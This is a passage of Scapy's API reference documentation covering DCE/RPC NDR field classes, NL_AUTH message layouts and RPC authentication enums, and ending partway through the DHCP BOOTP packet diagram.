	Bases: _NDRConfField, _NDRVarField, _NDRPacketListField

NDR Conformant Varying PacketListField


	
COUNT_FROM = True

	








	
class scapy.layers.dcerpc.NDRConfVarStrLenField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2278-L2283]

	Bases: _NDRConfField, _NDRVarField, _NDRValueOf, StrLenField

NDR Conformant Varying StrLenField


	
LENGTH_FROM = True

	








	
class scapy.layers.dcerpc.NDRConfVarStrLenFieldUtf16(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2286-L2294]

	Bases: _NDRConfField, _NDRVarField, _NDRValueOf, StrLenFieldUtf16, _NDRUtf16

NDR Conformant Varying StrLenField


	
LENGTH_FROM = True

	




	
ON_WIRE_SIZE_UTF16 = False

	








	
class scapy.layers.dcerpc.NDRConfVarStrNullField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2297-L2302]

	Bases: _NDRConfField, _NDRVarField, _NDRValueOf, StrNullField

NDR Conformant Varying StrNullField


	
NULLFIELD = True

	








	
class scapy.layers.dcerpc.NDRConfVarStrNullFieldUtf16(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2305-L2313]

	Bases: _NDRConfField, _NDRVarField, _NDRValueOf, StrNullFieldUtf16, _NDRUtf16

NDR Conformant Varying StrNullFieldUtf16


	
NULLFIELD = True

	




	
ON_WIRE_SIZE_UTF16 = False

	








	
class scapy.layers.dcerpc.NDRConformantArray(_pkt, /, *, max_count=None, value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2041-L2067]

	Bases: _NDRPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MAX COUNT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. NDRConformantArray                      


NDRConformantArray fields






	max_count

	MultipleTypeField (LELongField, LEIntField)

	None



	value

	MultipleTypeField (PacketListField, FieldListField)

	[]















	
class scapy.layers.dcerpc.NDRConformantString(_pkt, /, *, max_count=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2070-L2077]

	Bases: _NDRPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MAX COUNT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. NDRConformantString                     


NDRConformantString fields






	max_count

	MultipleTypeField (LELongField, LEIntField)

	None



	value

	StrField

	b''















	
class scapy.layers.dcerpc.NDRConstructedType(fields)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1737-L1807]

	Bases: object


	
add_deferred_pointers(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1796-L1807]

	




	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1784-L1794]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1756-L1766]

	




	
read_deferred_pointers(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1768-L1782]

	




	
rec_check_deferral()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1743-L1754]

	








	
class scapy.layers.dcerpc.NDRContextHandle(_pkt, /, *, attributes=0, uuid=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2414-L2422]

	Bases: NDRPacket


	
ALIGNMENT = (4, 4)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ATTRIBUTES                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              UUID                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. NDRContextHandle                       


NDRContextHandle fields






	attributes

	LEIntField

	0



	uuid

	StrFixedLenField

	b''











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2421-L2422]

	








	
class scapy.layers.dcerpc.NDRFieldListField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1918-L1938]

	Bases: NDRConstructedType, FieldListField

A FieldListField for NDR


	
i2len(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1934-L1935]

	




	
islist = 1

	




	
valueof(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1937-L1938]

	








	
class scapy.layers.dcerpc.NDRFullPointerField(fld, deferred=False, fmt='I')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1615-L1700]

	Bases: _FieldContainer

A NDR Full/Unique pointer field encapsulation.


	Parameters:

	deferred – This pointer is deferred. This means that it’s representation
will not appear after the pointer.
See [C706] 14.3.12.3 - Algorithm for Deferral of Referents






	
EMBEDDED = False

	




	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1650-L1668]

	




	
any2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1670-L1677]

	




	
fld

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1631-L1648]

	




	
h2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1686-L1687]

	




	
i2h(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1683-L1684]

	




	
i2len(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1692-L1695]

	




	
i2repr(pkt, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1680-L1681]

	




	
valueof(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1697-L1700]

	








	
class scapy.layers.dcerpc.NDRIEEEDoubleField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1543-L1545]

	Bases: _NDRField


	
ALIGN = (8, 8)

	




	
FMT = 'd'

	








	
class scapy.layers.dcerpc.NDRIEEEFloatField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1538-L1540]

	Bases: _NDRField


	
ALIGN = (4, 4)

	




	
FMT = 'f'

	








	
class scapy.layers.dcerpc.NDRInt3264EnumField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1566-L1570]

	Bases: NDRAlign


	
fld

	








	
class scapy.layers.dcerpc.NDRInt3264Field(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1584-L1595]

	Bases: _NDRLenField


	
FMTS = ['I', 'Q']

	




	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1591-L1595]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1587-L1589]

	








	
class scapy.layers.dcerpc.NDRIntEnumField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1573-L1578]

	Bases: _NDRValueOf, NDRAlign


	
fld

	








	
class scapy.layers.dcerpc.NDRIntField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1518-L1520]

	Bases: _NDRField


	
ALIGN = (4, 4)

	




	
FMT = 'I'

	








	
class scapy.layers.dcerpc.NDRLongField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1528-L1530]

	Bases: _NDRField


	
ALIGN = (8, 8)

	




	
FMT = 'Q'

	








	
class scapy.layers.dcerpc.NDRPacket(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1440-L1451]

	Bases: _NDRPacket

A NDR Packet. Handles pointer size & endianness


	
ALIGNMENT = (1, 1)

	




	
DEPORTED_CONFORMANTS = []

	




	
aliastypes

	








	
class scapy.layers.dcerpc.NDRPacketField(name, default, pkt_cls, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1823-L1868]

	Bases: NDRConstructedType, NDRAlign


	
addfield(pkt, s, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1854-L1868]

	




	
fld

	




	
getfield(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1836-L1852]

	








	
class scapy.layers.dcerpc.NDRPointer(_pkt, /, *, referent_id=None, value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1605-L1612]

	Bases: _NDRPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          REFERENT ID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. NDRPointer                          


NDRPointer fields






	referent_id

	MultipleTypeField (XLELongField, XLEIntField)

	1



	value

	PacketField

	None















	
class scapy.layers.dcerpc.NDRRecursiveField(name, fmt='I')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2392-L2408]

	Bases: Field

A special Field that is used for pointer recursion


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2405-L2408]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2400-L2403]

	








	
class scapy.layers.dcerpc.NDRRefEmbPointerField(fld, deferred=False, fmt='I')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1703-L1708]

	Bases: NDRFullPointerField

A NDR Embedded Reference pointer


	
EMBEDDED = True

	




	
fld

	








	
class scapy.layers.dcerpc.NDRSerialization1Header(_pkt, /, *, Version=1, Endianness=16, CommonHeaderLength=8, Filler=3435973836)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2434-L2440]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |   ENDIANNESS  |       COMMONHEADERLENGTH      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FILLER                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. NDRSerialization1Header                   


NDRSerialization1Header fields






	Version

	ByteField

	1



	Endianness

	ByteEnumField

	16



	CommonHeaderLength

	LEShortField

	8



	Filler

	XLEIntField

	3435973836















	
class scapy.layers.dcerpc.NDRSerialization1PrivateHeader(_pkt, /, *, ObjectBufferLength=0, Filler=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2443-L2449]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       OBJECTBUFFERLENGTH                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FILLER                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. NDRSerialization1PrivateHeader                


NDRSerialization1PrivateHeader fields






	ObjectBufferLength

	EField

	0



	Filler

	XLEIntField

	0















	
class scapy.layers.dcerpc.NDRSerializeType1PacketField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2533-L2534]

	Bases: _NDRSerializeType1, PacketField


	
ptr

	








	
class scapy.layers.dcerpc.NDRSerializeType1PacketLenField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2537-L2538]

	Bases: _NDRSerializeType1, PacketLenField


	
ptr

	








	
class scapy.layers.dcerpc.NDRSerializeType1PacketListField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2541-L2542]

	Bases: _NDRSerializeType1, PacketListField


	
ptr

	








	
class scapy.layers.dcerpc.NDRShortField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1508-L1510]

	Bases: _NDRField


	
ALIGN = (2, 2)

	




	
FMT = 'H'

	








	
class scapy.layers.dcerpc.NDRSignedByteField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1489-L1490]

	Bases: _NDRLenField, SignedByteField






	
class scapy.layers.dcerpc.NDRSignedInt3264Field(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1598-L1599]

	Bases: NDRInt3264Field


	
FMTS = ['i', 'q']

	








	
class scapy.layers.dcerpc.NDRSignedIntField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1523-L1525]

	Bases: _NDRField


	
ALIGN = (4, 4)

	




	
FMT = 'i'

	








	
class scapy.layers.dcerpc.NDRSignedLongField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1533-L1535]

	Bases: _NDRField


	
ALIGN = (8, 8)

	




	
FMT = 'q'

	








	
class scapy.layers.dcerpc.NDRSignedShortField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1513-L1515]

	Bases: _NDRField


	
ALIGN = (2, 2)

	




	
FMT = 'h'

	








	
class scapy.layers.dcerpc.NDRUnion(_pkt, /, *, tag=0, value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2319-L2323]

	Bases: _NDRPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TAG                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. NDRUnion                           


NDRUnion fields






	tag

	IntField

	0



	value

	PacketField

	None















	
class scapy.layers.dcerpc.NDRUnionField(flds, dflt, align, switch_fmt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2374-L2386]

	Bases: NDRConstructedType, _NDRUnionField


	
align

	




	
any2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2379-L2386]

	




	
switch_fmt

	








	
class scapy.layers.dcerpc.NDRVarPacketListField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2184-L2189]

	Bases: _NDRVarField, _NDRPacketListField

NDR Varying PacketListField. Unused


	
COUNT_FROM = True

	








	
class scapy.layers.dcerpc.NDRVarStrLenField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2261-L2266]

	Bases: _NDRVarField, StrLenField

NDR Varying StrLenField


	
LENGTH_FROM = True

	








	
class scapy.layers.dcerpc.NDRVarStrLenFieldUtf16(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2269-L2275]

	Bases: _NDRVarField, _NDRValueOf, StrLenFieldUtf16, _NDRUtf16

NDR Varying StrLenField


	
LENGTH_FROM = True

	




	
ON_WIRE_SIZE_UTF16 = False

	








	
class scapy.layers.dcerpc.NDRVaryingArray(_pkt, /, *, offset=None, actual_count=None, value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1941-L1957]

	Bases: _NDRPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OFFSET                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ACTUAL COUNT                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NDRVaryingArray                       


NDRVaryingArray fields






	offset

	MultipleTypeField (LELongField, LEIntField)

	0



	actual_count

	MultipleTypeField (LELongField, LEIntField)

	None



	value

	PacketField

	None















	
class scapy.layers.dcerpc.NL_AUTH_MESSAGE(_pkt, /, *, MessageType=0, Flags=<Flag 0 ()>, NetbiosDomainName=b'', NetbiosComputerName=b'', DnsDomainName=b'.', DnsHostName=b'.', NetbiosComputerNameUtf8=b'.')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L276-L322]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MESSAGETYPE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NETBIOSDOMAINNAME       |      NETBIOSCOMPUTERNAME      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         DNSDOMAINNAME         |          DNSHOSTNAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    NETBIOSCOMPUTERNAMEUTF8    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NL_AUTH_MESSAGE                       


NL_AUTH_MESSAGE fields






	MessageType

	LEIntEnumField

	0



	Flags

	FlagsField

	<Flag 0 ()>



	NetbiosDomainName

	StrNullField (Cond)

	b''



	NetbiosComputerName

	StrNullField (Cond)

	b''



	DnsDomainName

	DNSStrField (Cond)

	b'.'



	DnsHostName

	DNSStrField (Cond)

	b'.'



	NetbiosComputerNameUtf8

	DNSStrField (Cond)

	b'.'















	
class scapy.layers.dcerpc.NL_AUTH_SIGNATURE(_pkt, /, *, SignatureAlgorithm=119, SealAlgorithm=65535, Pad=65535, Flags=0, SequenceNumber=b'', Checksum=b'', Confounder=b'', Reserved2=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L325-L363]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       SIGNATUREALGORITHM      |         SEALALGORITHM         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PAD              |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SEQUENCENUMBER                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CHECKSUM                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CONFOUNDER                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           RESERVED2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. NL_AUTH_SIGNATURE                      


NL_AUTH_SIGNATURE fields






	SignatureAlgorithm

	LEShortEnumField

	119



	SealAlgorithm

	LEShortEnumField

	65535



	Pad

	XLEShortField

	65535



	Flags

	ShortField

	0



	SequenceNumber

	XStrFixedLenField

	b''



	Checksum

	XStrFixedLenField

	b''



	Confounder

	XStrFixedLenField (Cond)

	b''



	Reserved2

	MultipleTypeField (StrFixedLenField, StrField)

	b''















	
class scapy.layers.dcerpc.RPC_C_AUTHN(value, names=None, *values, module=None, qualname=None, type=None, start=1, boundary=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L371-L392]

	Bases: IntEnum


	
CLOUD_AP = 36

	




	
DCE_PRIVATE = 1

	




	
DCE_PUBLIC = 2

	




	
DEC_PUBLIC = 4

	




	
DEFAULT = 4294967295

	




	
DIGEST = 21

	




	
DPA = 17

	




	
GSS_KERBEROS = 16

	




	
GSS_NEGOTIATE = 9

	




	
GSS_SCHANNEL = 14

	




	
KERNEL = 20

	




	
LIVEXP_SSP = 35

	




	
LIVE_SSP = 32

	




	
MQ = 100

	




	
MSN = 18

	




	
MSONLINE = 82

	




	
NEGO_EXTENDED = 30

	




	
NETLOGON = 68

	




	
NONE = 0

	




	
PKU2U = 31

	




	
WINNT = 10

	








	
class scapy.layers.dcerpc.RPC_C_AUTHN_LEVEL(value, names=None, *values, module=None, qualname=None, type=None, start=1, boundary=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L395-L402]

	Bases: IntEnum


	
CALL = 3

	




	
CONNECT = 2

	




	
DEFAULT = 0

	




	
NONE = 1

	




	
PKT = 4

	




	
PKT_INTEGRITY = 5

	




	
PKT_PRIVACY = 6

	








	
scapy.layers.dcerpc.find_dcerpc_interface(name)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1240-L1247]

	Find an interface object through the name in the IDL






	
scapy.layers.dcerpc.ndr_deserialize1(b, cls, ndr64=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2452-L2479]

	Deserialize Type Serialization Version 1 according to [MS-RPCE] sect 2.2.6






	
scapy.layers.dcerpc.ndr_serialize1(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2482-L2516]

	Serialize Type Serialization Version 1






	
scapy.layers.dcerpc.register_com_interface(name, uuid, opnums)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1263-L1271]

	Register a COM interface






	
scapy.layers.dcerpc.register_dcerpc_interface(name, uuid, version, opnums)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1197-L1237]

	Register a DCE/RPC interface








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.dhcp

DHCP (Dynamic Host Configuration Protocol) and BOOTP

Implements:
- rfc951 - BOOTSTRAP PROTOCOL (BOOTP)
- rfc1542 - Clarifications and Extensions for the Bootstrap Protocol
- rfc1533 - DHCP Options and BOOTP Vendor Extensions


	
class scapy.layers.dhcp.BOOTP(_pkt, /, *, op=1, htype=1, hlen=6, hops=0, xid=0, secs=0, flags=<Flag 0 ()>, ciaddr='0.0.0.0', yiaddr='0.0.0.0', siaddr='0.0.0.0', giaddr='0.0.0.0', chaddr=b'', sname=b'', file=b'', options=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L75-L115]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L112-L115]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L100-L107]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       OP      |     HTYPE     |      HLEN     |      HOPS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SECS             |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CIADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             YIADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SIADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             GIADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CHADDR                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SNAME                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              FILE                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
